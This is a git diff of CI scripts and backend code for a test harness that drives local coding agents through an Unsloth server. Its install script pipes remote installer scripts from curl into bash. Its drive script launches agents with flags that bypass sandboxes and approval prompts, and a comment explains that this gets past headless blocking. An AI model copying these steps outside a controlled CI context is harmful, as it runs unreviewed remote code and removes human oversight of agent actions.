+      # skip the [ -f ] contract check below; fail loudly instead.
+      [ -n "$home" ] || guide_fail "CODEX_HOME missing from connect output (start.py codex())"
+      cfg="$home/config.toml"
+      if [ -f "$cfg" ]; then
+        grep -q 'wire_api = "responses"' "$cfg" \
+          || guide_fail "Codex wire_api is no longer \"responses\" in \$CODEX_HOME/config.toml"
+        cp "$cfg" "$REDACTED_DIR/codex-config.toml"
       fi
       grep -q 'codex --oss --profile unsloth_api' "$raw" \
         || echo "::warning::Codex launch command changed from 'codex --oss --profile unsloth_api'"
       ;;
     claude)
       grep -q 'ANTHROPIC_AUTH_TOKEN' "$raw" \
-        || guide_fail "Claude no longer exports ANTHROPIC_AUTH_TOKEN (connect.py claude())"
-      if [ -f "$HOME/.claude/settings.json" ]; then
-        grep -q '"CLAUDE_CODE_ATTRIBUTION_HEADER"' "$HOME/.claude/settings.json" \
-          || echo "::warning::CLAUDE_CODE_ATTRIBUTION_HEADER not written to ~/.claude/settings.json (ensure_claude_attribution_header)"
-        cp "$HOME/.claude/settings.json" "$REDACTED_DIR/claude-settings.json"
-      fi
+        || guide_fail "Claude no longer exports ANTHROPIC_AUTH_TOKEN (start.py claude())"
+      grep -q 'CLAUDE_CODE_ATTRIBUTION_HEADER' "$raw" \
+        || echo "::warning::CLAUDE_CODE_ATTRIBUTION_HEADER no longer set for the session (start.py claude())"
       ;;
     hermes)
       grep -q 'UNSLOTH_API_KEY' "$raw" \
-        || guide_fail "Hermes env key is no longer UNSLOTH_API_KEY (connect.py _HERMES_ENV_KEY)"
-      [ -f "$HOME/.hermes/config.yaml" ] && cp "$HOME/.hermes/config.yaml" "$REDACTED_DIR/hermes-config.yaml"
+        || guide_fail "Hermes env key is no longer UNSLOTH_API_KEY (start.py _HERMES_ENV_KEY)"
+      home="$(raw_env HERMES_HOME)"
+      [ -n "$home" ] || guide_fail "HERMES_HOME missing from connect output (start.py hermes())"
+      cfg="$home/config.yaml"
+      [ -f "$cfg" ] && cp "$cfg" "$REDACTED_DIR/hermes-config.yaml"
       ;;
     openclaw)
-      if [ -f "$HOME/.openclaw/openclaw.json" ]; then
-        grep -q '"openai-completions"' "$HOME/.openclaw/openclaw.json" \
+      cfg="$(raw_env OPENCLAW_CONFIG_PATH)"
+      if [ -n "$cfg" ] && [ -f "$cfg" ]; then
+        grep -q '"openai-completions"' "$cfg" \
           || echo "::warning::OpenClaw provider api is no longer 'openai-completions' (write_openclaw_config)"
-        cp "$HOME/.openclaw/openclaw.json" "$REDACTED_DIR/openclaw.json"
+        cp "$cfg" "$REDACTED_DIR/openclaw.json"
       fi
       ;;
     opencode)
-      [ -f "$HOME/.config/opencode/opencode.json" ] && cp "$HOME/.config/opencode/opencode.json" "$REDACTED_DIR/opencode.json"
+      cfg="$(raw_env OPENCODE_CONFIG)"
+      [ -n "$cfg" ] && [ -f "$cfg" ] && cp "$cfg" "$REDACTED_DIR/opencode.json"
+      ;;
+    pi)
+      # Pi has no config-dir env var; the session is HOME-relocated, and the
+      # provider config lives at $HOME/.pi/agent/models.json.
+      cfg="$(raw_env HOME)/.pi/agent/models.json"
+      if [ -f "$cfg" ]; then
+        grep -q '"openai-completions"' "$cfg" \
+          || echo "::warning::Pi provider api is no longer 'openai-completions' (write_pi_config)"
+        cp "$cfg" "$REDACTED_DIR/pi-models.json"
+      fi
       ;;
   esac
   redact "$REDACTED_DIR"/* 2>/dev/null || true
@@ -229,16 +238,23 @@ crosscheck_contract() {
 
 # Hermes: an explicit empty cli toolset disables all tools (and drops the
 # tool-gated guidance blocks), so -z sends ~300 tokens instead of thousands.
-# hermes ships a DEFAULT config.yaml that already has a populated
-# platform_toolsets, and `unsloth connect` merges into it, so we must override
-# cli (not just append). That needs a YAML parser, and the runner's bare
-# python3 has no PyYAML -- but the venv that ships `unsloth` does (connect.py
-# imports yaml), so run the patch with that interpreter.
+# Hermes enables its default cli toolset when the session config does not pin one,
+# so we must set platform_toolsets.cli explicitly to [] (not just append) to get
+# zero tools. That needs a YAML parser, and the runner's bare python3 has no
+# PyYAML -- but the venv that ships `unsloth` does (start.py imports yaml), so run
+# the patch with that interpreter. We patch the relocated $HERMES_HOME/config.yaml
+# that `unsloth start` printed, not the user's ~/.hermes.
 # (-z reads platform_toolsets.cli; --ignore-rules is a no-op under -z.)
 patch_hermes_tools() {  # $1 = none|default
+  # Check the raw var BEFORE appending /config.yaml: the joined path is never
+  # empty, so the old guard could not fire and the patcher would die on
+  # "/config.yaml" with a bare traceback instead of this clear failure.
+  local home; home="$(raw_env HERMES_HOME)"
+  [ -n "$home" ] || guide_fail "Hermes HERMES_HOME missing from connect output (start.py hermes())"
+  local cfg; cfg="$home/config.yaml"
   # Find a python that can import yaml. The runner's bare python3 cannot, but the
   # interpreter in the `unsloth` console-script shebang provably can (it runs
-  # connect.py's write_hermes_config, which imports yaml). Try that first, then
+  # start.py's write_hermes_config, which imports yaml). Try that first, then
   # any python on PATH, then the venv sibling, picking the first with PyYAML.
   local cand py="" shebang
   shebang="$(head -1 "$(command -v unsloth)" 2>/dev/null | sed -n 's/^#![[:space:]]*//p' | awk '{print $1}')"
@@ -247,13 +263,13 @@ patch_hermes_tools() {  # $1 = none|default
     { [ -x "$cand" ] || command -v "$cand" >/dev/null 2>&1; } || continue
     if "$cand" -c 'import yaml' 2>/dev/null; then py="$cand"; break; fi
   done
-  [ -n "$py" ] || guide_fail "could not find a python with PyYAML to patch ~/.hermes/config.yaml"
-  echo "[hermes] patching config with $py"
-  "$py" - "$1" <<'PY'
+  [ -n "$py" ] || guide_fail "could not find a python with PyYAML to patch the hermes session config"
+  echo "[hermes] patching $cfg with $py"
+  "$py" - "$1" "$cfg" <<'PY'
 import os, sys
 import yaml
 mode = sys.argv[1]
-p = os.path.expanduser("~/.hermes/config.yaml")
+p = sys.argv[2]
 cfg = (yaml.safe_load(open(p)) or {}) if os.path.exists(p) else {}
 ts = cfg.get("platform_toolsets")
 if not isinstance(ts, dict):
@@ -274,10 +290,14 @@ PY
 # drop the auto-injected AGENTS.md/SOUL.md bootstrap (the bulk of the prompt) for
 # both modes. --agent must reference a defined agent, so write it before invoking.
 patch_openclaw_agent() {  # $1 = notools|tools
-  python3 - "$1" <<'PY'
+  # OpenClaw reads its config from the relocated OPENCLAW_CONFIG_PATH that
+  # `unsloth start` printed, so patch THAT file (not the user's ~/.openclaw).
+  local cfg; cfg="$(raw_env OPENCLAW_CONFIG_PATH)"
+  [ -n "$cfg" ] || guide_fail "OpenClaw OPENCLAW_CONFIG_PATH missing from connect output (start.py openclaw())"
+  python3 - "$1" "$cfg" <<'PY'
 import os, sys, json
 mode = sys.argv[1]
-p = os.path.expanduser("~/.openclaw/openclaw.json")
+p = sys.argv[2]
 cfg = json.load(open(p)) if os.path.exists(p) else {}
 agents = cfg.setdefault("agents", {})
 agents.setdefault("defaults", {})["skipBootstrap"] = True
@@ -293,20 +313,24 @@ print(f"[openclaw] agent ci tools = {agent.get('tools', 'default')}")
 PY
 }
 
-# Build an invoke script that applies connect.py's env then runs the launch
+# Build an invoke script that applies start.py's env then runs the launch
 # command (with extra args appended) under bash. We do NOT eval connect's env
 # into this shell; we write it into a one-shot script so the export/unset
-# semantics are exactly what connect.py printed. The script path is absolute
+# semantics are exactly what start.py printed. The script path is absolute
 # so it is valid even when the caller has cd'd into a scratch work dir.
 invoke_via_connect() {  # $1=outfile, rest=extra args appended to the command
   local out="$1"; shift
   local script="$LOGS_DIR/invoke-${AGENT}.sh"
   local real; real="$(mktemp)"
+  # CONNECT_ENV_EXTRA / CONNECT_CMD_OVERRIDE let a caller (attribution-ab) flip a
+  # session knob without editing the user's config; empty -> use what start.py emitted.
+  local cmd="${CONNECT_CMD_OVERRIDE:-$CONNECT_CMD}"
   {
     echo "set -uo pipefail"
     echo "$CONNECT_ENV"
+    [ -n "${CONNECT_ENV_EXTRA:-}" ] && echo "$CONNECT_ENV_EXTRA"
     # Append extra args (the prompt / flags) to the launch command verbatim.
-    printf '%s' "$CONNECT_CMD"
+    printf '%s' "$cmd"
     local a
     for a in "$@"; do printf ' %q' "$a"; done
     printf '\n'
@@ -318,7 +342,9 @@ invoke_via_connect() {  # $1=outfile, rest=extra args appended to the command
   # Writing the redacted copy up front keeps the key out of the artifact even if
   # the run times out (run_timed exits before returning here).
   cp "$real" "$script"; redact "$script"
-  echo "[$AGENT] invoking (timeout ${TIMEOUT}s): $CONNECT_CMD $*"
+  # The connect one-liner now carries the key as an inline env assignment; scrub it on
+  # the way to the log (the executed $real keeps the live value).
+  echo "[$AGENT] invoking (timeout ${TIMEOUT}s): ${cmd//${UNSLOTH_API_KEY}/<REDACTED>} $*"
   run_timed "$out" bash "$real"
   local rc=$?
   rm -f "$real"
@@ -332,27 +358,23 @@ case "$MODE" in
   connection)
     PROMPT='Reply with exactly the single word: pong'
     OUT="$LOGS_DIR/${AGENT}-connection.txt"
-    if [ "$AGENT" = "pi" ]; then
-      write_pi_config
-      run_timed "$OUT" pi -p --provider unsloth --model "$UNSLOTH_MODEL_ID" "$PROMPT"
-    else
-      parse_connect
-      crosscheck_contract
-      # claude/codex run in print mode via the flags connect.py emits
-      # (claude -p / codex exec). For agents whose default subcommand prints
-      # to stdout we pass the prompt through ctx.args.
-      case "$AGENT" in
-        claude)   invoke_via_connect "$OUT" "${CLAUDE_CONNECT_FLAGS[@]}" -p "$PROMPT" ;;
-        codex)    invoke_via_connect "$OUT" exec --dangerously-bypass-approvals-and-sandbox "$PROMPT" ;;
-        opencode) invoke_via_connect "$OUT" run "$PROMPT" ;;
-        hermes)   patch_hermes_tools none
-                  invoke_via_connect "$OUT" -z "$PROMPT" ;;
-        openclaw) patch_openclaw_agent notools
-                  invoke_via_connect "$OUT" agent --local --agent ci \
-                    --model "unsloth/${UNSLOTH_MODEL_ID}" --message "$PROMPT" ;;
-        *)        invoke_via_connect "$OUT" "$PROMPT" ;;
-      esac
-    fi
+    parse_connect
+    crosscheck_contract
+    # claude/codex run in print mode via the flags start.py emits
+    # (claude -p / codex exec). For agents whose default subcommand prints
+    # to stdout we pass the prompt through ctx.args.
+    case "$AGENT" in
+      claude)   invoke_via_connect "$OUT" "${CLAUDE_CONNECT_FLAGS[@]}" -p "$PROMPT" ;;
+      codex)    invoke_via_connect "$OUT" exec --dangerously-bypass-approvals-and-sandbox "$PROMPT" ;;
+      opencode) invoke_via_connect "$OUT" run "$PROMPT" ;;
+      pi)       invoke_via_connect "$OUT" -p "$PROMPT" ;;
+      hermes)   patch_hermes_tools none
+                invoke_via_connect "$OUT" -z "$PROMPT" ;;
+      openclaw) patch_openclaw_agent notools
+                invoke_via_connect "$OUT" agent --local --agent ci \
+                  --model "unsloth/${UNSLOTH_MODEL_ID}" --message "$PROMPT" ;;
+      *)        invoke_via_connect "$OUT" "$PROMPT" ;;
+    esac
     # A non-zero exit from the documented launch command is drift even if it
     # printed something: a benign-looking "command not found" / usage dump would
     # otherwise slip past assert_reply (which only flags empty/error-keyword text).
@@ -371,22 +393,18 @@ case "$MODE" in
     T1='Create a file named hello.py in the current directory whose entire contents are a single line: print("Hello"). Do not run it.'
     T2='Run hello.py with python and show me the exact output.'
 
-    # The connect.py recipe writers + crosscheck must see the repo; run them
+    # The start.py recipe writers + crosscheck must see the repo; run them
     # from the repo root BEFORE cd-ing into the scratch work dir.
-    if [ "$AGENT" != "pi" ]; then
-      parse_connect
-      crosscheck_contract
-      # File-edit needs real tools, so we cannot zero them as in connection.
-      # hermes keeps default tools; openclaw still strips its AGENTS.md/SOUL.md
-      # bootstrap (the largest prompt chunk) via the 'ci' agent. The scratch work
-      # dir is empty, so no project context files are auto-loaded either.
-      case "$AGENT" in
-        hermes)   patch_hermes_tools default ;;
-        openclaw) patch_openclaw_agent tools ;;
-      esac
-    else
-      write_pi_config
-    fi
+    parse_connect
+    crosscheck_contract
+    # File-edit needs real tools, so we cannot zero them as in connection.
+    # hermes keeps default tools; openclaw still strips its AGENTS.md/SOUL.md
+    # bootstrap (the largest prompt chunk) via the 'ci' agent. The scratch work
+    # dir is empty, so no project context files are auto-loaded either.
+    case "$AGENT" in
+      hermes)   patch_hermes_tools default ;;
+      openclaw) patch_openclaw_agent tools ;;
+    esac
 
     # Drive from inside the work dir so the agent edits files there. All log
     # writes use absolute $LOGS_DIR, so cwd does not matter for them.
@@ -395,7 +413,14 @@ case "$MODE" in
     invoke_turn() {  # $1=outfile $2=continue? $3=prompt
       local out="$1" cont="$2" prompt="$3"
       case "$AGENT" in
-        pi)       run_timed "$out" pi -p --provider unsloth --model "$UNSLOTH_MODEL_ID" "$prompt" ;;
+        pi)
+          # Pi continues the previous session with -c; provider/model come from
+          # the parsed `unsloth start pi` recipe (CONNECT_CMD), not hardcoded here.
+          if [ "$cont" = "continue" ]; then
+            invoke_via_connect "$out" -p --continue "$prompt"
+          else
+            invoke_via_connect "$out" -p "$prompt"
+          fi ;;
         claude)
           # --dangerously-skip-permissions lets headless claude actually use the
           # Write/Bash tools (otherwise it blocks on an approval prompt and emits
@@ -466,33 +491,32 @@ case "$MODE" in
     # right before the measured turn, so an earlier turn's reuse can't leak in.
     LLAMA_LOG_DIR="${UNSLOTH_LLAMA_LOG_DIR:-$HOME/.unsloth/studio/logs/llama-server}"
     export LLAMA_LOG_DIR
-    parse_connect          # writes ~/.claude/settings.json (header=0) + env
+    parse_connect          # prints session env + suppression flags (no ~/.claude write)
     crosscheck_contract
     PROMPT='Reply with exactly the single word: pong'
 
-    # Phase A: header DISABLED (=0, the documented setting) -> expect a HIT on
-    # the continued turn. connect.py's ensure_claude_attribution_header() set 0.
+    # Phase A: the suppression start.py ships (CLAUDE_CODE_ATTRIBUTION_HEADER=0 +
+    # --exclude-dynamic-system-prompt-sections + --settings overlay) -> expect a
+    # HIT on the continued turn, since the system-prompt prefix is stable.
     invoke_via_connect "$LOGS_DIR/claude-ab-hit-1.txt" -p "$PROMPT"        # turn 1 primes
     FROM_HIT="$(bash "$CACHE_HELPER" mark)"                                # offset before turn 2
     invoke_via_connect "$LOGS_DIR/claude-ab-hit-2.txt" -p --continue "$PROMPT again"
     CACHE_LOG_FROM="$FROM_HIT" bash "$CACHE_HELPER" log HIT
 
-    # Phase B: header ENABLED -> expect a MISS. The header prepends a
-    # per-request-changing attribution line to the system prompt, so the shared
-    # prefix changes every turn and the KV cache is invalidated (~90% slower);
-    # this is exactly what the guide flag prevents.
-    python3 - <<'PY'
-import json, os
-p = os.path.expanduser("~/.claude/settings.json")
-s = json.load(open(p)) if os.path.exists(p) else {}
-s.setdefault("env", {})["CLAUDE_CODE_ATTRIBUTION_HEADER"] = "1"
-json.dump(s, open(p, "w"), indent=2)
-PY
+    # Phase B: vanilla Claude with the header ENABLED -> expect a MISS. We flip
+    # the env var to 1 and strip the suppression flags from the launch command
+    # (without them the dynamic attribution line is included and changes every
+    # turn, so the shared prefix moves and the KV cache is invalidated, ~90%
+    # slower). This is session-only: nothing is written to ~/.claude.
+    CONNECT_ENV_EXTRA='export CLAUDE_CODE_ATTRIBUTION_HEADER=1'
+    CONNECT_CMD_OVERRIDE="$(printf '%s' "$CONNECT_CMD" \
+      | sed -E "s/ --exclude-dynamic-system-prompt-sections//; s/ --settings '[^']*'//")"
     invoke_via_connect "$LOGS_DIR/claude-ab-miss-1.txt" -p "$PROMPT"
     FROM_MISS="$(bash "$CACHE_HELPER" mark)"
     invoke_via_connect "$LOGS_DIR/claude-ab-miss-2.txt" -p --continue "$PROMPT again"
     CACHE_LOG_FROM="$FROM_MISS" bash "$CACHE_HELPER" log MISS
-    echo "[claude] attribution A/B OK (header=0 HIT, header=1 MISS)"
+    unset CONNECT_ENV_EXTRA CONNECT_CMD_OVERRIDE
+    echo "[claude] attribution A/B OK (suppressed HIT, header=1 MISS)"
     ;;
 
   *)
diff --git a/.github/scripts/agent-guides-install.sh b/.github/scripts/agent-guides-install.sh
index dfab8aec80..daf4bacd3e 100755
--- a/.github/scripts/agent-guides-install.sh
+++ b/.github/scripts/agent-guides-install.sh
@@ -7,7 +7,7 @@
 # is the single biggest source of false reds, so installs retry with
 # backoff and the only ::error:: this script can emit is class (b). The
 # install recipes mirror the install_hint strings in
-# unsloth_cli/commands/connect.py at HEAD.
+# unsloth_cli/commands/start.py at HEAD.
 #
 # Usage: agent-guides-install.sh <agent>
 #   agent in: claude codex hermes openclaw opencode pi
@@ -25,13 +25,14 @@ install_fail() {
 }
 
 # npm registry flakiness is common in CI; retry 3x with linear backoff.
+# Extra npm flags may precede the package (e.g. npm_retry --ignore-scripts pkg).
 npm_retry() {
-  local pkg="$1" i
+  local i
   for i in 1 2 3; do
-    if npm install -g "$pkg" >> "$LOG" 2>&1; then
+    if npm install -g "$@" >> "$LOG" 2>&1; then
       return 0
     fi
-    echo "[install] npm install -g $pkg attempt $i failed; backing off $((i * 10))s" | tee -a "$LOG"
+    echo "[install] npm install -g $* attempt $i failed; backing off $((i * 10))s" | tee -a "$LOG"
     sleep "$((i * 10))"
   done
   return 1
@@ -60,30 +61,30 @@ curl_bash() {
 echo "[install] agent=$AGENT (log=$LOG)"
 case "$AGENT" in
   claude)
-    # connect.py install_hint: curl -fsSL https://claude.ai/install.sh | bash
+    # start.py install_hint: curl -fsSL https://claude.ai/install.sh | bash
     curl_bash "https://claude.ai/install.sh" || install_fail "claude installer failed"
     # The installer drops the binary under ~/.local/bin.
     echo "$HOME/.local/bin" >> "$GITHUB_PATH"
     ;;
   codex)
-    # connect.py install_hint: npm install -g @openai/codex
+    # start.py install_hint: npm install -g @openai/codex
     npm_retry "@openai/codex" || install_fail "npm install -g @openai/codex failed"
     ;;
   opencode)
-    # connect.py install_hint: npm install -g opencode-ai
+    # start.py install_hint: npm install -g opencode-ai
     npm_retry "opencode-ai" || install_fail "npm install -g opencode-ai failed"
     ;;
   openclaw)
-    # connect.py install_hint: curl -fsSL https://openclaw.ai/install.sh | bash
+    # start.py install_hint: curl -fsSL https://openclaw.ai/install.sh | bash
     # npm is the more deterministic path in CI and matches the agent's docs;
-    # fall back to the connect.py curl installer if the npm tag is missing.
+    # fall back to the start.py curl installer if the npm tag is missing.
     if ! npm_retry "openclaw@latest"; then
       curl_bash "https://openclaw.ai/install.sh" || install_fail "openclaw install failed (npm + curl)"
       echo "$HOME/.local/bin" >> "$GITHUB_PATH"
     fi
     ;;
   hermes)
-    # connect.py install_hint:
+    # start.py install_hint:
     #   curl -fsSL .../NousResearch/hermes-agent/main/scripts/install.sh | bash
     curl_bash "https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh" \
       --non-interactive --skip-setup --skip-browser --no-skills \
@@ -91,11 +92,13 @@ case "$AGENT" in
     echo "$HOME/.local/bin" >> "$GITHUB_PATH"
     ;;
   pi)
-    # No connect.py recipe; the agent's documented package name. The CLI moved
-    # from the now-deprecated @mariozechner scope to @earendil-works (the old
-    # scope is frozen, so installing it would test a stale Pi against the API).
-    npm_retry "@earendil-works/pi-coding-agent" \
-      || install_fail "npm install -g @earendil-works/pi-coding-agent failed"
+    # start.py install_hint: npm install -g --ignore-scripts @earendil-works/pi-coding-agent
+    # (--ignore-scripts matches Pi's documented recipe; exercising the exact hint
+    # catches guide drift). The CLI moved from the now-deprecated @mariozechner
+    # scope to @earendil-works (the old scope is frozen, so installing it would
+    # test a stale Pi against the API).
+    npm_retry --ignore-scripts "@earendil-works/pi-coding-agent" \
+      || install_fail "npm install -g --ignore-scripts @earendil-works/pi-coding-agent failed"
     ;;
   *)
     install_fail "unknown agent '$AGENT'"
diff --git a/.github/scripts/serve-unsloth-run.sh b/.github/scripts/serve-unsloth-run.sh
index 34b8b962c6..6ac98ded7c 100755
--- a/.github/scripts/serve-unsloth-run.sh
+++ b/.github/scripts/serve-unsloth-run.sh
@@ -27,7 +27,7 @@
 #
 # Outputs written to $GITHUB_ENV (and echoed):
 #   UNSLOTH_API_KEY        the sk-unsloth-* key minted on the banner
-#   UNSLOTH_STUDIO_URL     http://127.0.0.1:<PORT>  (so `unsloth connect`
+#   UNSLOTH_STUDIO_URL     http://127.0.0.1:<PORT>  (so `unsloth start`
 #                          finds THIS server, not the hardcoded :8888)
 #   UNSLOTH_BASE_URL       same as UNSLOTH_STUDIO_URL (alias for clarity)
 #   UNSLOTH_MODEL_ID       the canonical id reported by /v1/models
diff --git a/.github/workflows/local-agent-guides-ci.yml b/.github/workflows/local-agent-guides-ci.yml
index 299ee3f18b..47f75dc1ba 100644
--- a/.github/workflows/local-agent-guides-ci.yml
+++ b/.github/workflows/local-agent-guides-ci.yml
@@ -6,29 +6,27 @@
 # Detects when our local-agent setup recipes drift out of sync with
 # `unsloth run`. Boots a real `unsloth run --disable-tools` server and
 # drives the coding agents end to end through the *exact* recipes defined
-# in unsloth_cli/commands/connect.py (the in-repo source of truth -- there
-# is no docs/ tree). Wherever connect.py has a recipe we drive the agent
-# via `unsloth connect <agent> --no-launch` and execute what it prints, so
-# the test self-updates against connect.py and catches silent recipe drift.
+# in unsloth_cli/commands/start.py (the in-repo source of truth -- there
+# is no docs/ tree). Wherever start.py has a recipe we drive the agent
+# via `unsloth start <agent> --no-launch` and execute what it prints, so
+# the test self-updates against start.py and catches silent recipe drift.
 #
 # Source-of-truth files this workflow guards:
-#   unsloth_cli/commands/connect.py   the `unsloth connect <agent>` recipes
+#   unsloth_cli/commands/start.py   the `unsloth start <agent>` recipes
 #   unsloth_cli/commands/studio.py    the `unsloth run` banner (API Key line)
 #
 # Failure taxonomy (each surfaced with a distinct ::error:: + the agent name
-# + the connect.py location, so a red X is immediately triageable):
+# + the start.py location, so a red X is immediately triageable):
 #   (a) Unsloth server/API regression -- the dialect HTTP preflight fails
 #       BEFORE the agent runs (or the server never becomes healthy).
 #   (b) Agent package install failed   -- npm/curl install of the CLI failed.
 #   (c) Guide drift                    -- preflight passed + install ok, but
-#       the documented `unsloth connect` flow produced no/garbled output.
+#       the documented `unsloth start` flow produced no/garbled output.
 #
 # Agents covered (6): claude, codex, hermes, openclaw, opencode, pi.
-#   - claude/codex/hermes/openclaw/opencode have a connect.py recipe.
-#   - pi has NO `unsloth connect pi` command in connect.py at HEAD; it is
-#     driven by a hand-written recipe and the matrix cell asserts that the
-#     missing connect recipe is the (known) reason, so the day connect.py
-#     grows a `pi` command this cell flips to the self-updating path.
+#   - All six have a `unsloth start <agent>` recipe, so each cell obtains its
+#     env + command from `unsloth start <agent> --no-launch` and runs THAT
+#     (self-updating: a recipe change is exercised automatically).
 
 name: Local Agent Guides CI
 
@@ -83,7 +81,7 @@ jobs:
   # ═════════════════════════════════════════════════════════════════════
   # Job 1: connection
   #   Per-agent: serve gemma-3-270m, HTTP-preflight the agent's dialect,
-  #   install the agent, run `unsloth connect <agent> --no-launch`, execute
+  #   install the agent, run `unsloth start <agent> --no-launch`, execute
   #   the emitted recipe with a trivial prompt, assert a non-empty reply.
   #   Runs on PR + weekly + dispatch. Each matrix cell is its own runner so
   #   it serves exactly one model on its own port.
@@ -103,7 +101,9 @@ jobs:
     env:
       # gemma-4-E4B (128K context, capable enough to drive every agent for a
       # trivial reply; the 270m model produced empty/failed responses for
-      # codex/openclaw and is below hermes' 64K context floor). Served as a flat
+      # codex/openclaw). Hermes' 64K context floor no longer constrains the model
+      # choice: write_hermes_config claims the floor for smaller windows and
+      # scales compaction back to the real window. Served as a flat
       # GGUF file (the -MTP- repo ships no separate draft, so this is plain 4B).
       GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF
       GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf
@@ -209,7 +209,7 @@ jobs:
               ;;
             *)
               # OpenAI Chat Completions dialect (hermes/opencode/pi/openclaw).
-              # OpenClaw's connect.py recipe writes an "openai-completions"
+              # OpenClaw's start.py recipe writes an "openai-completions"
               # provider (write_openclaw_config), so it uses this path, not
               # /v1/messages.
               code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \
@@ -227,13 +227,13 @@ jobs:
           AGENT: ${{ matrix.agent }}
         run: bash .github/scripts/agent-guides-install.sh "$AGENT"
 
-      # ── (c) drive the agent via connect.py and assert a reply ──────────
-      # For the 5 agents with a connect.py recipe we run
-      # `unsloth connect <agent> --no-launch`, eval its env/unset exports,
+      # ── (c) drive the agent via start.py and assert a reply ──────────
+      # For the 5 agents with a start.py recipe we run
+      # `unsloth start <agent> --no-launch`, eval its env/unset exports,
       # then run the printed command with a hard timeout (no headless-TTY
       # hang). Pi has no connect recipe, so it is driven by hand and the
       # cell asserts that absence is the (known) reason.
-      - name: Drive ${{ matrix.agent }} via unsloth connect (class-c isolation)
+      - name: Drive ${{ matrix.agent }} via unsloth start (class-c isolation)
         env:
           AGENT: ${{ matrix.agent }}
         run: bash .github/scripts/agent-guides-drive.sh connection "$AGENT"
@@ -248,8 +248,10 @@ jobs:
           # `API Key: <key>`) into logs/unsloth-run-<port>.log, and the upload
           # step publishes all of logs/, so scrubbing only studio-logs would leak
           # the bearer token in the retained artifact.
+          # Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and
+          # agent-workdir/ are published by the same upload step.
           if [ -n "${UNSLOTH_API_KEY:-}" ]; then
-            grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do
+            grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
               sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
             done
           fi
@@ -438,8 +440,10 @@ jobs:
           # `API Key: <key>`) into logs/unsloth-run-<port>.log, and the upload
           # step publishes all of logs/, so scrubbing only studio-logs would leak
           # the bearer token in the retained artifact.
+          # Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and
+          # agent-workdir/ are published by the same upload step.
           if [ -n "${UNSLOTH_API_KEY:-}" ]; then
-            grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do
+            grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
               sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
             done
           fi
@@ -582,8 +586,10 @@ jobs:
           # `API Key: <key>`) into logs/unsloth-run-<port>.log, and the upload
           # step publishes all of logs/, so scrubbing only studio-logs would leak
           # the bearer token in the retained artifact.
+          # Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and
+          # agent-workdir/ are published by the same upload step.
           if [ -n "${UNSLOTH_API_KEY:-}" ]; then
-            grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do
+            grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
               sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
             done
           fi
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 9d9db83543..a948a6eaf5 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -165,6 +165,26 @@ def _friendly_error(exc: Exception) -> str:
     return "An internal error occurred"
 
 
+def _friendly_upstream_error(text: str) -> str:
+    """Rewrite a raw llama-server error body into an actionable message where we can.
+
+    The main case is a tool-calling grammar that llama-server can't compile ("failed to
+    parse grammar" / "failed to initialize samplers"). This surfaces to coding agents as
+    a hard 400 on every tool-bearing turn. It is a llama-server limitation with some
+    model/quant + tool-schema combinations, and recent llama.cpp builds handle the common
+    coding-agent tools, so point the user at updating Studio rather than the raw body.
+    """
+    lowered = text.lower()
+    if "failed to parse grammar" in lowered or "failed to initialize samplers" in lowered:
+        return (
+            "The model couldn't compile a tool-calling grammar for this request. This is a "
+            "llama-server limitation with some model/quant and tool-schema combinations. "
+            "Update Studio (it installs the latest llama.cpp, which handles the common "
+            "coding-agent tools) or try a different GGUF model."
+        )
+    return f"llama-server error: {text}"
+
+
 def _clamp_finish_reason(value) -> str:
     """Coerce an upstream finish_reason into OpenAI's known chat values.
 
@@ -278,8 +298,8 @@ def _openai_passthrough_error(status_code, text) -> "HTTPException":
     """HTTPException for a non-200 upstream response on the OpenAI passthrough
     (tools / response_format). An over-context upstream error is mapped to a 400
     with code="context_length_exceeded" so these paths deliver the same signal as
-    the non-passthrough path; any other upstream error keeps llama-server's
-    message verbatim."""
+    the non-passthrough path; a tool-grammar compile failure gets the same actionable
+    guidance as the Anthropic passthrough; any other upstream error stays verbatim."""
     if _classify_llama_generation_error(Exception(text)):
         return HTTPException(
             status_code = 400,
@@ -292,7 +312,7 @@ def _openai_passthrough_error(status_code, text) -> "HTTPException":
         )
     return HTTPException(
         status_code = status_code,
-        detail = f"llama-server error: {text[:500]}",
+        detail = _friendly_upstream_error(text[:500]),
     )
 
 
@@ -8529,7 +8549,7 @@ async def _responses_stream(
                             "output": [],
                             "error": {
                                 "code": resp.status_code,
-                                "message": f"llama-server error: {err_text[:500]}",
+                                "message": _friendly_upstream_error(err_text[:500]),
                             },
                         },
                     },
@@ -10096,7 +10116,7 @@ async def _anthropic_passthrough_stream(
                 yield build_anthropic_sse_event(
                     "error",
                     anthropic_error_body(
-                        f"llama-server error: {_err_text}",
+                        _friendly_upstream_error(_err_text),
                         status = resp.status_code,
                     ),
                 )
@@ -10199,7 +10219,7 @@ async def _anthropic_passthrough_non_streaming(
     if resp.status_code != 200:
         raise HTTPException(
             status_code = resp.status_code,
-            detail = f"llama-server error: {resp.text[:500]}",
+            detail = _friendly_upstream_error(resp.text[:500]),
         )
 
     data = resp.json()
diff --git a/studio/backend/tests/test_openai_tool_passthrough.py b/studio/backend/tests/test_openai_tool_passthrough.py
index aa36c6fed4..1d725acd45 100644
--- a/studio/backend/tests/test_openai_tool_passthrough.py
